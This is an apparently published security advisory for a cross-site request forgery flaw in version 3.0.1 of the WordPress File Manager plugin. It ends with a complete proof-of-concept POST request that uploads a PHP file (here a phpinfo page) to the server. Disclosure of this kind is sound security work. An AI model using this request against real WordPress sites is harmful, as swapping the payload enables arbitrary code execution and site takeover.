WordPress Plugin File Manager 3.0.1 - Cross-Site Request Forgery

EDB-ID:

41488

CVE:





Platform:

PHP

Date:

2017-03-01


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Abstract
A Cross-Site Request Forgery (CSRF) vulnerability was found in the File Manager WordPress Plugin. Among others, this issue can be used to upload arbitrary PHP files to the server.

Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160712-0029

Tested versions
This issue was successfully tested on the File Manager WordPress Plugin version 3.0.1.

Fix
There is currently no fix available.

Introduction
The File Manager WordPress Plugin is a file manager for WordPress which can be used to upload, delete, copy, move, rename, archive and extract files without the need for FTP. It was discovered that the File Manager WordPress Plugin is vulnerable to Cross-Site Request Forgery.

Details
The upload form used by the plugin has no protection against CSRF attacks. As a result an attacker can for example upload arbitrary PHP files to the server.

Please note that the target user needs to be logged in.

Proof of concept
The target parameter holds a Base64-encoded destination path. By using the proof of concept request below a file named info.php is uploaded to the /wp-content/uploads/file-manager/ directory.

When uploaded, this file can be requested from the outside as follows:
http://<wp-server>/wp-content/uploads/file-manager/info.php

Request:
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POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <wp-server>
Cookie: ALL_YOUR_WP_COOKIES
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------6427194103423794601262893907
   
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="cmd"
   
upload
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="target"
   
l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="suffix"
   
~
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="action"
   
connector
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="upload[]"; filename="info.php"
Content-Type: text/php
   
<?php
phpinfo();
?>
-----------------------------6427194103423794601262893907--